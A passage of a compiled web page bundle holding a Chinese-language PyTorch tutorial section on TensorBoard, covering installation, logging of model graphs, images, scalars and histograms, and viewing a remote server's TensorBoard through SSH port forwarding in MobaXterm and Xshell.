16\u5462\uff1f"}),"\n",(0,t.jsx)(n.p,{children:"\u6b64\u5916\uff0c\u6211\u4eec\u4e5f\u5e0c\u671b\u53ef\u89c6\u5316\u5176\u4ed6\u5185\u5bb9\uff0c\u5982\u8f93\u5165\u6570\u636e\uff08\u5c24\u5176\u662f\u56fe\u7247\uff09\u3001\u6a21\u578b\u7ed3\u6784\u3001\u53c2\u6570\u5206\u5e03\u7b49\uff0c\u8fd9\u4e9b\u5bf9\u4e8e\u6211\u4eec\u5728debug\u4e2d\u67e5\u627e\u95ee\u9898\u6765\u6e90\u975e\u5e38\u91cd\u8981\uff08\u6bd4\u5982\u8f93\u5165\u6570\u636e\u548c\u6211\u4eec\u60f3\u8c61\u7684\u662f\u5426\u4e00\u81f4\uff09\u3002"}),"\n",(0,t.jsx)(n.p,{children:"TensorBoard\u4f5c\u4e3a\u4e00\u6b3e\u53ef\u89c6\u5316\u5de5\u5177\u80fd\u591f\u6ee1\u8db3\u4e0a\u9762\u63d0\u5230\u7684\u5404\u79cd\u9700\u6c42\u3002TensorBoard\u7531TensorFlow\u56e2\u961f\u5f00\u53d1\uff0c\u6700\u65e9\u548cTensorFlow\u914d\u5408\u4f7f\u7528\uff0c\u540e\u6765\u5e7f\u6cdb\u5e94\u7528\u4e8e\u5404\u79cd\u6df1\u5ea6\u5b66\u4e60\u6846\u67b6\u7684\u53ef\u89c6\u5316\u4e2d\u6765\u3002\u672c\u8282\u6211\u4eec\u63a2\u7d22TensorBoard\u7684\u5f3a\u5927\u529f\u80fd\uff0c\u5e0c\u671b\u5e2e\u52a9\u8bfb\u8005\u201c\u4ece\u5165\u95e8\u5230\u7cbe\u901a\u201d\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u5b89\u88c5TensorBoard\u5de5\u5177"}),"\n",(0,t.jsx)(n.li,{children:"\u4e86\u89e3TensorBoard\u53ef\u89c6\u5316\u7684\u57fa\u672c\u903b\u8f91"}),"\n",(0,t.jsx)(n.li,{children:"\u638c\u63e1\u5229\u7528TensorBoard\u5b9e\u73b0\u8bad\u7ec3\u8fc7\u7a0b\u53ef\u89c6\u5316"}),"\n",(0,t.jsx)(n.li,{children:"\u638c\u63e1\u5229\u7528TensorBoard\u5b8c\u6210\u5176\u4ed6\u5185\u5bb9\u7684\u53ef\u89c6\u5316"}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"731-tensorboard\u5b89\u88c5",children:"7.3.1 TensorBoard\u5b89\u88c5"}),"\n",(0,t.jsx)(n.p,{children:"\u5728\u5df2\u5b89\u88c5PyTorch\u7684\u73af\u5883\u4e0b\u4f7f\u7528pip\u5b89\u88c5\u5373\u53ef\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"pip install tensorboardX\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u4e5f\u53ef\u4ee5\u4f7f\u7528PyTorch\u81ea\u5e26\u7684tensorboard\u5de5\u5177\uff0c\u6b64\u65f6\u4e0d\u9700\u8981\u989d\u5916\u5b89\u88c5tensorboard\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"732-tensorboard\u53ef\u89c6\u5316\u7684\u57fa\u672c\u903b\u8f91",children:"7.3.2 TensorBoard\u53ef\u89c6\u5316\u7684\u57fa\u672c\u903b\u8f91"}),"\n",(0,t.jsx)(n.p,{children:"\u6211\u4eec\u53ef\u4ee5\u5c06TensorBoard\u770b\u505a\u4e00\u4e2a\u8bb0\u5f55\u5458\uff0c\u5b83\u53ef\u4ee5\u8bb0\u5f55\u6211\u4eec\u6307\u5b9a\u7684\u6570\u636e\uff0c\u5305\u62ec\u6a21\u578b\u6bcf\u4e00\u5c42\u7684feature map\uff0c\u6743\u91cd\uff0c\u4ee5\u53ca\u8bad\u7ec3loss\u7b49\u7b49\u3002TensorBoard\u5c06\u8bb0\u5f55\u4e0b\u6765\u7684\u5185\u5bb9\u4fdd\u5b58\u5728\u4e00\u4e2a\u7528\u6237\u6307\u5b9a\u7684\u6587\u4ef6\u5939\u91cc\uff0c\u7a0b\u5e8f\u4e0d\u65ad\u8fd0\u884c\u4e2dTensorBoard\u4f1a\u4e0d\u65ad\u8bb0\u5f55\u3002\u8bb0\u5f55\u4e0b\u7684\u5185\u5bb9\u53ef\u4ee5\u901a\u8fc7\u7f51\u9875\u7684\u5f62\u5f0f\u52a0\u4ee5\u53ef\u89c6\u5316\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"733-tensorboard\u7684\u914d\u7f6e\u4e0e\u542f\u52a8",children:"7.3.3 TensorBoard\u7684\u914d\u7f6e\u4e0e\u542f\u52a8"}),"\n",(0,t.jsx)(n.p,{children:"\u5728\u4f7f\u7528TensorBoard\u524d\uff0c\u6211\u4eec\u9700\u8981\u5148\u6307\u5b9a\u4e00\u4e2a\u6587\u4ef6\u5939\u4f9bTensorBoard\u4fdd\u5b58\u8bb0\u5f55\u4e0b\u6765\u7684\u6570\u636e\u3002\u7136\u540e\u8c03\u7528tensorboard\u4e2d\u7684SummaryWriter\u4f5c\u4e3a\u4e0a\u8ff0\u201c\u8bb0\u5f55\u5458\u201d"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"from tensorboardX import SummaryWriter\n\nwriter = SummaryWriter('./runs')\n"})}),"\n",(0,t.jsx)(n.p,{children:'\u4e0a\u9762\u7684\u64cd\u4f5c\u5b9e\u4f8b\u5316SummaryWritter\u4e3a\u53d8\u91cfwriter\uff0c\u5e76\u6307\u5b9awriter\u7684\u8f93\u51fa\u76ee\u5f55\u4e3a\u5f53\u524d\u76ee\u5f55\u4e0b\u7684"runs"\u76ee\u5f55\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u4e4b\u540etensorboard\u8bb0\u5f55\u4e0b\u6765\u7684\u5185\u5bb9\u90fd\u4f1a\u4fdd\u5b58\u5728runs\u3002'}),"\n",(0,t.jsx)(n.p,{children:"\u5982\u679c\u4f7f\u7528PyTorch\u81ea\u5e26\u7684tensorboard\uff0c\u5219\u91c7\u7528\u5982\u4e0b\u65b9\u5f0fimport\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"from torch.utils.tensorboard import SummaryWriter\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u806a\u660e\u7684\u4f60\u53ef\u80fd\u53d1\u73b0\u4e86\uff0c\u662f\u5426\u53ef\u4ee5\u624b\u52a8\u5f80runs\u6587\u4ef6\u5939\u91cc\u6dfb\u52a0\u6570\u636e\u7528\u4e8e\u53ef\u89c6\u5316\uff0c\u6216\u8005\u628aruns\u6587\u4ef6\u5939\u91cc\u7684\u6570\u636e\u653e\u5230\u5176\u4ed6\u673a\u5668\u4e0a\u53ef\u89c6\u5316\u5462\uff1f\u7b54\u6848\u662f\u53ef\u4ee5\u7684\u3002\u53ea\u8981\u6570\u636e\u88ab\u8bb0\u5f55\uff0c\u4f60\u53ef\u4ee5\u5c06\u8fd9\u4e2a\u6570\u636e\u5206\u4eab\u7ed9\u5176\u4ed6\u4eba\uff0c\u5176\u4ed6\u4eba\u5728\u5b89\u88c5\u4e86tensorboard\u7684\u60c5\u51b5\u4e0b\u5c31\u4f1a\u770b\u5230\u4f60\u5206\u4eab\u7684\u6570\u636e\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u542f\u52a8tensorboard\u4e5f\u5f88\u7b80\u5355\uff0c\u5728\u547d\u4ee4\u884c\u4e2d\u8f93\u5165"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"tensorboard --logdir=/path/to/logs/ --port=xxxx\n"})}),"\n",(0,t.jsx)(n.p,{children:'\u5176\u4e2d\u201cpath/to/logs/"\u662f\u6307\u5b9a\u7684\u4fdd\u5b58tensorboard\u8bb0\u5f55\u7ed3\u679c\u7684\u6587\u4ef6\u8def\u5f84\uff08\u7b49\u4ef7\u4e8e\u4e0a\u9762\u7684\u201c./runs"\uff0cport\u662f\u5916\u90e8\u8bbf\u95eeTensorBoard\u7684\u7aef\u53e3\u53f7\uff0c\u53ef\u4ee5\u901a\u8fc7\u8bbf\u95eeip:port\u8bbf\u95eetensorboard\uff0c\u8fd9\u4e00\u64cd\u4f5c\u548cjupyter notebook\u7684\u4f7f\u7528\u7c7b\u4f3c\u3002\u5982\u679c\u4e0d\u662f\u5728\u670d\u52a1\u5668\u8fdc\u7a0b\u4f7f\u7528\u7684\u8bdd\u5219\u4e0d\u9700\u8981\u914d\u7f6eport\u3002'}),"\n",(0,t.jsx)(n.p,{children:"\u6709\u65f6\uff0c\u4e3a\u4e86tensorboard\u80fd\u591f\u4e0d\u65ad\u5730\u5728\u540e\u53f0\u8fd0\u884c\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528nohup\u547d\u4ee4\u6216\u8005tmux\u5de5\u5177\u6765\u8fd0\u884ctensorboard\u3002\u5927\u5bb6\u53ef\u4ee5\u81ea\u884c\u641c\u7d22\uff0c\u8fd9\u91cc\u4e0d\u5c55\u5f00\u8ba8\u8bba\u4e86\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u4e0b\u9762\uff0c\u6211\u4eec\u5c06\u6a21\u62df\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u8bad\u7ec3\u8fc7\u7a0b\uff0c\u6765\u4ecb\u7ecd\u5982\u4f55\u5229\u7528TensorBoard\u53ef\u89c6\u5316\u5176\u4e2d\u7684\u5404\u4e2a\u90e8\u5206\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"734-tensorboard\u6a21\u578b\u7ed3\u6784\u53ef\u89c6\u5316",children:"7.3.4 TensorBoard\u6a21\u578b\u7ed3\u6784\u53ef\u89c6\u5316"}),"\n",(0,t.jsx)(n.p,{children:"\u9996\u5148\u5b9a\u4e49\u6a21\u578b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"import torch.nn as nn\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(in_channels=3,out_channels=32,kernel_size = 3)\n self.pool = nn.MaxPool2d(kernel_size = 2,stride = 2)\n self.conv2 = nn.Conv2d(in_channels=32,out_channels=64,kernel_size = 5)\n self.adaptive_pool = nn.AdaptiveMaxPool2d((1,1))\n self.flatten = nn.Flatten()\n self.linear1 = nn.Linear(64,32)\n self.relu = nn.ReLU()\n self.linear2 = nn.Linear(32,1)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self,x):\n x = self.conv1(x)\n x = self.pool(x)\n x = self.conv2(x)\n x = self.pool(x)\n x = self.adaptive_pool(x)\n x = self.flatten(x)\n x = self.linear1(x)\n x = self.relu(x)\n x = self.linear2(x)\n y = self.sigmoid(x)\n return y\n\nmodel = Net()\nprint(model)\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8f93\u51fa\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"Net(\n (conv1): Conv2d(3, 32, kernel_size=(3, 3), stride=(1, 1))\n (pool): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)\n (conv2): Conv2d(32, 64, kernel_size=(5, 5), stride=(1, 1))\n (adaptive_pool): AdaptiveMaxPool2d(output_size=(1, 1))\n (flatten): Flatten(start_dim=1, end_dim=-1)\n (linear1): Linear(in_features=64, out_features=32, bias=True)\n (relu): ReLU()\n (linear2): Linear(in_features=32, out_features=1, bias=True)\n (sigmoid): Sigmoid()\n)\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u53ef\u89c6\u5316\u6a21\u578b\u7684\u601d\u8def\u548c7.1\u4e2d\u4ecb\u7ecd\u7684\u65b9\u6cd5\u4e00\u6837\uff0c\u90fd\u662f\u7ed9\u5b9a\u4e00\u4e2a\u8f93\u5165\u6570\u636e\uff0c\u524d\u5411\u4f20\u64ad\u540e\u5f97\u5230\u6a21\u578b\u7684\u7ed3\u6784\uff0c\u518d\u901a\u8fc7TensorBoard\u8fdb\u884c\u53ef\u89c6\u5316\uff0c\u4f7f\u7528add_graph\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"writer.add_graph(model, input_to_model = torch.rand(1, 3, 224, 224))\nwriter.close()\n"})}),"\n",(0,t.jsx)(n.p,{children:'\u5c55\u793a\u7ed3\u679c\u5982\u4e0b\uff08\u5176\u4e2d\u6846\u5185\u90e8\u5206\u521d\u59cb\u4f1a\u663e\u793a\u4e3a\u201cNet"\uff0c\u9700\u8981\u53cc\u51fb\u540e\u624d\u4f1a\u5c55\u5f00\uff09\uff1a'}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_model",src:r(68539).A+"",width:"1076",height:"1008"})}),"\n",(0,t.jsx)(n.h2,{id:"735-tensorboard\u56fe\u50cf\u53ef\u89c6\u5316",children:"7.3.5 TensorBoard\u56fe\u50cf\u53ef\u89c6\u5316"}),"\n",(0,t.jsx)(n.p,{children:"\u5f53\u6211\u4eec\u505a\u56fe\u50cf\u76f8\u5173\u7684\u4efb\u52a1\u65f6\uff0c\u53ef\u4ee5\u65b9\u4fbf\u5730\u5c06\u6240\u5904\u7406\u7684\u56fe\u7247\u5728tensorboard\u4e2d\u8fdb\u884c\u53ef\u89c6\u5316\u5c55\u793a\u3002"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u5bf9\u4e8e\u5355\u5f20\u56fe\u7247\u7684\u663e\u793a\u4f7f\u7528add_image"}),"\n",(0,t.jsx)(n.li,{children:"\u5bf9\u4e8e\u591a\u5f20\u56fe\u7247\u7684\u663e\u793a\u4f7f\u7528add_images"}),"\n",(0,t.jsx)(n.li,{children:"\u6709\u65f6\u9700\u8981\u4f7f\u7528torchvision.utils.make_grid\u5c06\u591a\u5f20\u56fe\u7247\u62fc\u6210\u4e00\u5f20\u56fe\u7247\u540e\uff0c\u7528writer.add_image\u663e\u793a"}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528torchvision\u7684CIFAR10\u6570\u636e\u96c6\u4e3a\u4f8b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"import torchvision\nfrom torchvision import datasets, transforms\nfrom torch.utils.data import DataLoader\n\ntransform_train = transforms.Compose(\n [transforms.ToTensor()])\ntransform_test = transforms.Compose(\n [transforms.ToTensor()])\n\ntrain_data = datasets.CIFAR10(\".\", train=True, download=True, transform=transform_train)\ntest_data = datasets.CIFAR10(\".\", train=False, download=True, transform=transform_test)\ntrain_loader = DataLoader(train_data, batch_size=64, shuffle=True)\ntest_loader = DataLoader(test_data, batch_size=64)\n\nimages, labels = next(iter(train_loader))\n \n# \u4ec5\u67e5\u770b\u4e00\u5f20\u56fe\u7247\nwriter = SummaryWriter('./pytorch_tb')\nwriter.add_image('images[0]', images[0])\nwriter.close()\n \n# \u5c06\u591a\u5f20\u56fe\u7247\u62fc\u63a5\u6210\u4e00\u5f20\u56fe\u7247\uff0c\u4e2d\u95f4\u7528\u9ed1\u8272\u7f51\u683c\u5206\u5272\n# create grid of images\nwriter = SummaryWriter('./pytorch_tb')\nimg_grid = torchvision.utils.make_grid(images)\nwriter.add_image('image_grid', img_grid)\nwriter.close()\n \n# \u5c06\u591a\u5f20\u56fe\u7247\u76f4\u63a5\u5199\u5165\nwriter = SummaryWriter('./pytorch_tb')\nwriter.add_images(\"images\",images,global_step = 0)\nwriter.close()\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u4f9d\u6b21\u8fd0\u884c\u4e0a\u9762\u4e09\u7ec4\u53ef\u89c6\u5316\uff08\u6ce8\u610f\u4e0d\u8981\u540c\u65f6\u5728notebook\u7684\u4e00\u4e2a\u5355\u5143\u683c\u5185\u8fd0\u884c\uff09\uff0c\u5f97\u5230\u7684\u53ef\u89c6\u5316\u7ed3\u679c\u5982\u4e0b\uff08\u6700\u540e\u8fd0\u884c\u7684\u7ed3\u679c\u5728\u6700\u4e0a\u9762\uff09\uff1a"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_images",src:r(56800).A+"",width:"791",height:"482"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_image_gird",src:r(63512).A+"",width:"1075",height:"622"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_image",src:r(52499).A+"",width:"785",height:"471"})}),"\n",(0,t.jsx)(n.p,{children:'\u53e6\u5916\u6ce8\u610f\u4e0a\u65b9menu\u90e8\u5206\uff0c\u521a\u521a\u53ea\u6709\u201cGRAPHS"\u680f\u5bf9\u5e94\u6a21\u578b\u7684\u53ef\u89c6\u5316\uff0c\u73b0\u5728\u5219\u591a\u51fa\u4e86\u201dIMAGES\u201c\u680f\u5bf9\u5e94\u56fe\u50cf\u7684\u53ef\u89c6\u5316\u3002\u5de6\u4fa7\u7684\u6ed1\u52a8\u6309\u94ae\u53ef\u4ee5\u8c03\u6574\u56fe\u50cf\u7684\u4eae\u5ea6\u548c\u5bf9\u6bd4\u5ea6\u3002'}),"\n",(0,t.jsx)(n.p,{children:"\u6b64\u5916\uff0c\u9664\u4e86\u53ef\u89c6\u5316\u539f\u59cb\u56fe\u50cf\uff0cTensorBoard\u63d0\u4f9b\u7684\u53ef\u89c6\u5316\u65b9\u6848\u81ea\u7136\u4e5f\u9002\u7528\u4e8e\u6211\u4eec\u5728Python\u4e2d\u7528matplotlib\u7b49\u5de5\u5177\u7ed8\u5236\u7684\u5176\u4ed6\u56fe\u50cf\uff0c\u7528\u4e8e\u5c55\u793a\u5206\u6790\u7ed3\u679c\u7b49\u5185\u5bb9\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"736-tensorboard\u8fde\u7eed\u53d8\u91cf\u53ef\u89c6\u5316",children:"7.3.6 TensorBoard\u8fde\u7eed\u53d8\u91cf\u53ef\u89c6\u5316"}),"\n",(0,t.jsx)(n.p,{children:"TensorBoard\u53ef\u4ee5\u7528\u6765\u53ef\u89c6\u5316\u8fde\u7eed\u53d8\u91cf\uff08\u6216\u65f6\u5e8f\u53d8\u91cf\uff09\u7684\u53d8\u5316\u8fc7\u7a0b\uff0c\u901a\u8fc7add_scalar\u5b9e\u73b0\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:'writer = SummaryWriter(\'./pytorch_tb\')\nfor i in range(500):\n x = i\n y = x**2\n writer.add_scalar("x", x, i) #\u65e5\u5fd7\u4e2d\u8bb0\u5f55x\u5728\u7b2cstep i \u7684\u503c\n writer.add_scalar("y", y, i) #\u65e5\u5fd7\u4e2d\u8bb0\u5f55y\u5728\u7b2cstep i \u7684\u503c\nwriter.close()\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u53ef\u89c6\u5316\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_scalar",src:r(60678).A+"",width:"1068",height:"794"})}),"\n",(0,t.jsx)(n.p,{children:"\u5982\u679c\u60f3\u5728\u540c\u4e00\u5f20\u56fe\u4e2d\u663e\u793a\u591a\u4e2a\u66f2\u7ebf\uff0c\u5219\u9700\u8981\u5206\u522b\u5efa\u7acb\u5b58\u653e\u5b50\u8def\u5f84\uff08\u4f7f\u7528SummaryWriter\u6307\u5b9a\u8def\u5f84\u5373\u53ef\u81ea\u52a8\u521b\u5efa\uff0c\u4f46\u9700\u8981\u5728tensorboard\u8fd0\u884c\u76ee\u5f55\u4e0b\uff09\uff0c\u540c\u65f6\u5728add_scalar\u4e2d\u4fee\u6539\u66f2\u7ebf\u7684\u6807\u7b7e\u4f7f\u5176\u4e00\u81f4\u5373\u53ef\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"writer1 = SummaryWriter('./pytorch_tb/x')\nwriter2 = SummaryWriter('./pytorch_tb/y')\nfor i in range(500):\n x = i\n y = x*2\n writer1.add_scalar(\"same\", x, i) #\u65e5\u5fd7\u4e2d\u8bb0\u5f55x\u5728\u7b2cstep i \u7684\u503c\n writer2.add_scalar(\"same\", y, i) #\u65e5\u5fd7\u4e2d\u8bb0\u5f55y\u5728\u7b2cstep i \u7684\u503c\nwriter1.close()\nwriter2.close()\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_scalar_twolines",src:r(29145).A+"",width:"1071",height:"639"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u4e5f\u53ef\u4ee5\u7528\u4e00\u4e2awriter\uff0c\u4f46for\u5faa\u73af\u4e2d\u4e0d\u65ad\u521b\u5efaSummaryWriter\u4e0d\u662f\u4e00\u4e2a\u597d\u9009\u9879\u3002\u6b64\u65f6\u5de6\u4e0b\u89d2\u7684Runs\u90e8\u5206\u51fa\u73b0\u4e86\u52fe\u9009\u9879\uff0c\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u6211\u4eec\u60f3\u8981\u53ef\u89c6\u5316\u7684\u66f2\u7ebf\u3002\u66f2\u7ebf\u540d\u79f0\u5bf9\u5e94\u5b58\u653e\u5b50\u8def\u5f84\u7684\u540d\u79f0\uff08\u8fd9\u91cc\u662fx\u548cy\uff09\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u90e8\u5206\u529f\u80fd\u975e\u5e38\u9002\u5408\u635f\u5931\u51fd\u6570\u7684\u53ef\u89c6\u5316\uff0c\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u66f4\u52a0\u76f4\u89c2\u5730\u4e86\u89e3\u6a21\u578b\u7684\u8bad\u7ec3\u60c5\u51b5\uff0c\u4ece\u800c\u786e\u5b9a\u6700\u4f73\u7684checkpoint\u3002\u5de6\u4fa7\u7684Smoothing\u6ed1\u52a8\u6309\u94ae\u53ef\u4ee5\u8c03\u6574\u66f2\u7ebf\u7684\u5e73\u6ed1\u5ea6\uff0c\u5f53\u635f\u5931\u51fd\u6570\u9707\u8361\u8f83\u5927\u65f6\uff0c\u5c06Smoothing\u8c03\u5927\u6709\u52a9\u4e8e\u89c2\u5bdfloss\u7684\u6574\u4f53\u53d8\u5316\u8d8b\u52bf\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"737-tensorboard\u53c2\u6570\u5206\u5e03\u53ef\u89c6\u5316",children:"7.3.7 TensorBoard\u53c2\u6570\u5206\u5e03\u53ef\u89c6\u5316"}),"\n",(0,t.jsx)(n.p,{children:"\u5f53\u6211\u4eec\u9700\u8981\u5bf9\u53c2\u6570\uff08\u6216\u5411\u91cf\uff09\u7684\u53d8\u5316\uff0c\u6216\u8005\u5bf9\u5176\u5206\u5e03\u8fdb\u884c\u7814\u7a76\u65f6\uff0c\u53ef\u4ee5\u65b9\u4fbf\u5730\u7528TensorBoard\u6765\u8fdb\u884c\u53ef\u89c6\u5316\uff0c\u901a\u8fc7add_histogram\u5b9e\u73b0\u3002\u4e0b\u9762\u7ed9\u51fa\u4e00\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"import torch\nimport numpy as np\n\n# \u521b\u5efa\u6b63\u6001\u5206\u5e03\u7684\u5f20\u91cf\u6a21\u62df\u53c2\u6570\u77e9\u9635\ndef norm(mean, std):\n t = std * torch.randn((100, 20)) + mean\n return t\n \nwriter = SummaryWriter('./pytorch_tb/')\nfor step, mean in enumerate(range(-10, 10, 1)):\n w = norm(mean, 1)\n writer.add_histogram(\"w\", w, step)\n writer.flush()\nwriter.close()\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_hist",src:r(91094).A+"",width:"1074",height:"731"})}),"\n",(0,t.jsx)(n.h2,{id:"738-\u670d\u52a1\u5668\u7aef\u4f7f\u7528tensorboard",children:"7.3.8 \u670d\u52a1\u5668\u7aef\u4f7f\u7528TensorBoard"}),"\n",(0,t.jsx)(n.p,{children:"\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u4f1a\u8fde\u63a5\u8fdc\u7a0b\u7684\u670d\u52a1\u5668\u6765\u5bf9\u6a21\u578b\u8fdb\u884c\u8bad\u7ec3\uff0c\u4f46\u7531\u4e8e\u670d\u52a1\u5668\u7aef\u662f\u6ca1\u6709\u6d4f\u89c8\u5668\u7684\uff08\u7eaf\u547d\u4ee4\u6a21\u5f0f\uff09\uff0c\u56e0\u6b64\uff0c\u6211\u4eec\u9700\u8981\u8fdb\u884c\u76f8\u5e94\u7684\u914d\u7f6e\uff0c\u624d\u53ef\u4ee5\u5728\u672c\u5730\u6d4f\u89c8\u5668\uff0c\u4f7f\u7528tensorboard\u67e5\u770b\u670d\u52a1\u5668\u8fd0\u884c\u7684\u8bad\u7ec3\u8fc7\u7a0b\u3002\n\u672c\u6587\u63d0\u4f9b\u4ee5\u4e0b\u51e0\u79cd\u65b9\u5f0f\u8fdb\u884c\uff0c\u5176\u4e2d\u524d\u4e24\u79cd\u65b9\u6cd5\u90fd\u662f\u5efa\u7acbSSH\u96a7\u9053\uff0c\u5b9e\u73b0\u8fdc\u7a0b\u7aef\u53e3\u5230\u672c\u673a\u7aef\u53e3\u7684\u8f6c\u53d1\uff0c\u6700\u540e\u4e00\u79cd\u65b9\u6cd5\u9002\u7528\u4e8e\u6ca1\u6709\u4e0b\u8f7dXshell\u7b49SSH\u8fde\u63a5\u5de5\u5177\u7684\u7528\u6237"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"MobaXterm"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:"\u5728MobaXterm\u70b9\u51fbTunneling"}),"\n",(0,t.jsx)(n.li,{children:"\u9009\u62e9New SSH tunnel\uff0c\u6211\u4eec\u4f1a\u51fa\u73b0\u4ee5\u4e0b\u754c\u9762\u3002"}),"\n"]}),"\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.img,{alt:"ssh_tunnel",src:r(62899).A+"",width:"1288",height:"877"}),"\n3. \u5bf9\u65b0\u5efa\u7684SSH\u901a\u9053\u505a\u4ee5\u4e0b\u8bbe\u7f6e\uff0c\u7b2c\u4e00\u680f\u6211\u4eec\u9009\u62e9",(0,t.jsx)(n.code,{children:"Local port forwarding"}),"\uff0c",(0,t.jsx)(n.code,{children:"< Remote Server>"}),"\u6211\u4eec\u586b\u5199",(0,t.jsx)(n.strong,{children:"localhost"}),"\uff0c",(0,t.jsx)(n.code,{children:"< Remote port>"}),"\u586b\u51996006\uff0ctensorboard\u9ed8\u8ba4\u4f1a\u57286006\u7aef\u53e3\u8fdb\u884c\u663e\u793a\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u6839\u636e ",(0,t.jsx)(n.strong,{children:"tensorboard --logdir=/path/to/logs/ --port=xxxx"}),"\u7684\u547d\u4ee4\u4e2d\u7684port\u8fdb\u884c\u4fee\u6539\uff0c",(0,t.jsx)(n.code,{children:"< SSH server>"})," \u586b\u5199\u6211\u4eec\u8fde\u63a5\u670d\u52a1\u5668\u7684ip\u5730\u5740\uff0c",(0,t.jsx)(n.code,{children:""}),"\u586b\u5199\u6211\u4eec\u8fde\u63a5\u7684\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\uff0c",(0,t.jsx)(n.code,{children:""}),"\u586b\u5199\u7aef\u53e3\u53f7\uff08\u901a\u5e38\u4e3a22\uff09\uff0c",(0,t.jsx)(n.code,{children:"< forwarded port>"}),"\u586b\u5199\u7684\u662f\u672c\u5730\u7684\u4e00\u4e2a\u7aef\u53e3\u53f7\uff0c\u4ee5\u4fbf\u6211\u4eec\u540e\u9762\u53ef\u4ee5\u5bf9\u5176\u8fdb\u884c\u8bbf\u95ee\u3002\n4. \u8bbe\u5b9a\u597d\u4e4b\u540e\uff0c\u70b9\u51fbSave\uff0c\u7136\u540eStart\u3002\u5728\u542f\u52a8tensorboard\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u672c\u5730\u7684\u6d4f\u89c8\u5668\u8f93\u5165",(0,t.jsx)(n.code,{children:"http://localhost:6006/"}),"\u5bf9\u5176\u8fdb\u884c\u8bbf\u95ee\u4e86"]}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"Xshell"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:"Xshell\u7684\u8fde\u63a5\u65b9\u6cd5\u4e0eMobaXterm\u7684\u8fde\u63a5\u65b9\u5f0f\u672c\u8d28\u4e0a\u662f\u4e00\u6837\u7684\uff0c\u5177\u4f53\u64cd\u4f5c\u5982\u4e0b\uff1a"}),"\n",(0,t.jsxs)(n.li,{children:["\u8fde\u63a5\u4e0a\u670d\u52a1\u5668\u540e\uff0c\u6253\u5f00\u5f53\u524d\u4f1a\u8bdd\u5c5e\u6027\uff0c\u4f1a\u51fa\u73b0\u4e0b\u56fe\uff0c\u6211\u4eec\u9009\u62e9\u96a7\u905